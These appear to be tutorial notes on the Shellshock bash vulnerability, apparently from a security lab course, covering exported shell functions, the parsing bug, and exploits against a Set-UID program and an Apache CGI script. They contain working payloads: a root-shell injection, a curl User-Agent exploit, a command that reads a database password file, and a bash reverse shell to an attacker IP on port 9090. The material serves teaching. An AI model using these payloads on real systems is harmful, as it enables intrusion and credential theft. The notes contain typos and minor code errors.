Background: Shell Functions

Shellshock vulnerability is bash involves functions defined inside the shell, which are called shell functions.
How can we manage such functions?

  • Definition
$ foo() { echo "Inside function"; }
  • Print
$ declare -f foo
foo ()
{
	echo "Inside function"
}
  • Use
$ foo
Inside function
  • Delete
unset -f foo

To be more precise, Shellshock vulnerability involves passing a function definition to a child shell process.

Passing a function to child process

1. Export function

$ foo() { echo "Hello world"; }
$ foo
Hello world

$ export -f foo
$ bash
(child): $ foo
Hello world

In this approach, we define a function in the parent and by using the export tag, we can pass it to the child process.

2. Export shell variables

$ foo='() { echo "Hello world"; }'
$ echo $foo
() { echo "Hello world"; }
$ declare -f foo #there's no function called foo

$ export foo # We are exporting a shell var 
$ bash
(child): $ echo $foo #Nothing happened
$ declare -f foo
foo ()
{
 echo "Hello world"
}
$ foo
Hello world

In this approach, we define a shell variable in the parent that contains a special content. When such shell variable is exported to a new bash shell, it will become a shell function.

Similarities

Both approach use environment variables, in a different manner.
However, the second method does not require the parent process to be a shell.

Shellshock Bug

As said before, the parent process (shell or not) can pass a function definition to a child shell process via env variable.
Then, the bash in the child process converts the value of an env variable to a function, not executes them.
However, due to a bag int its parsing logic (we'll se soon), bash executes some of the commands contained in that variable.

$ foo='() { echo "Hello world"; }; echo "Extra";'
$ echo $foo
() { echo "Hello world"; }; echo "Extra"
$ export foo 

$ bash
extra # Extra command exectuted!!! 
(child): $ echo $foo
(child): $ declare -f foo # The function is passed to child
foo ()
{
	echo "Hello world"
}

Why?

The reason of such bug is related to a parsing logic mistake in the variable.c file in the bash source code.
Indeed, there's

  1. if(privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {",string,4){...}` which correspond to the check if there's an exported function by checking wheter the variable starts with "() {".
  2. If the check passes, bash changes the var string to a function definition string by replacing "=" with a space
  3. bash call the function parse_and_execute to parse the function definition. And here is the problem. It can parse also other shell commands, not just function definition.

Consequences

So, if an attacker add some extra commands at the end of a function declaration (and obviously if it can find a way to pass this function via an env variable to a target process that running bash) it can get the target process to run its commands.

How can we exploit Shellshock vulnerability?

  1. The target process should run bash
  2. The target process should get some env vars from outside, from users.
    These are the conditions needed to exploit the Shellshock bug.

Shellshock on Set-UID Programs

We'll set up such Set-UID root program called vul.c.

/// vul.c
void main(){
	setuid(geteuid()) // Turn the real user ID into the effective user ID
	// This is necessary since bash will not process the function declarations if real UID and effective UID differ.
	system("bin/ls -l")
}

Now the attack consist in export a shell variable that contains /bin/sh at the tail of the var function declaration, which will be put in the value of the shell var.

$ export foo='() { echo "Hello"; }; /bin/sh'
$ ./vul
(child) sh-4.2$ #root shell

In this way, since vul execute a bash shell with root privileges due to system() + Set-UID, we exploit Shellshock bug to get a root shell.

Shellshock on CGI Programs

Common Gateway Interface (CGI) is utilized by web server to run executable programs that dynamically generate web pages.
Since many CGI programs are shell scripts, if bash is used, they are Shellshock vulnerable.

Experiment

Setup

We place the test.cgi file (which is a bash shell script that prints "Hello World") in the /usr/lib/cgi-bin dir and make it executable. This is the default dir for the Apache Web Server.
We'll use curl for sending HTTP requests.

How Web Server Invokes CGI Programs

Whenever we sent a CGI URL to Apache server, Apache will examine the request. If it's a CGI request, Apache will use fork() to start a new process and then use exec() functions to execute the CGI program in the forked process.
In our case, since the CGI program starts with #! /bin/bash, exec() executes /bin/bash and execute runs the shell script.
Notice that since Apache create a child process that execute bash it provides all the env variables to the process.

Suppose now that instead of printing "Hello World" we print the env vars of the process, by strings /proc/$$/environ.
Looking at the communication between server and client, there's a header field User-Agent in HTTP request that brings information about the client to the server.
By looking at the response there's a env var called HTTP_USER_AGENT which contain the same value as in the User-Agent in the header field. And that's where we exploit the bug.

How Attacker Sends Data to bash

By:

curl  -A "test" -v http://10.0.2.5/cgi-bin/test.cgi
...
> User-Agent: test
...
HTTP_USER_AGENT=test

we can set the env variable value with a custom value.
To be more precise, we need to solve a small issue: Apache needs to know the type of content it is sending to the client. So, the attack should be like that:

curl -A "() { echo hello;}; echo Content_type: text/plain; echo; /bin/ls -l"
		http://10.0.2.5/cgi-bin/test.cgi

And the attack goes in the right way!

Why such attack could be dangerous?

In Ubuntu, web servers run with the www-data user ID, with no full privileges. However, with such user ID a few damaging things could be done.

Example: Stealing Passwords

Typically, web servers connect to back-end databases and it needs to provides login passwords. Such password are usually hard-coded on configuration file.
So, by substituting /bin/ls -l with:

/bin/cat /var/www/SQL/Collabtive/config/standard/config.php

we can get the content of such configuration file, which is login password to databases.

Creating Reverse Shell

Why not executing /bin/bash instead of /bin/ls -l? It could provide a lot of power to attacker since it can provide a way to run any command and whenever they want.
Well, the problem there is that /bin/bash will be executed at server side and we cannot control it.

Thus, we need a reverse shell: a shell process started on a machine, with its input and output being controlled by somebody from a remote computer.

How can we do that?
The idea is to redirect the input, output and error devices to a network connection.

Experiment

Attacker will use the

$ nc -l 9090 -v 

which is a TCP server that listen for a connection on specified port. In this way, netcat prints whatever is sent by the client and sends to the client whatever is typed by the user running the server.

Now, we need to that the bash command will trigger a TCP connection to the attacker machine with the port chosen in the nc command.
Therefore, we have to:

curl -A "() { echo hello;}; echo Content_type: text/plain; echo; 
		/bin/bash -i > /dev/tcp/10.0.0.6/9090 0<&1 2>&1"
		http://10.0.2.5/cgi-bin/test.cgi

In the /bin/bash command:

  • -i : stands for interactive shell
  • > /dev/tcp/10.0.0.6/9090 : output device of the shell is the TCP connection
  • 0 <& 1 : shell will get input by the same TCP connection used for the output
  • 2 >& 1 : error output will be redirected to TCP connection to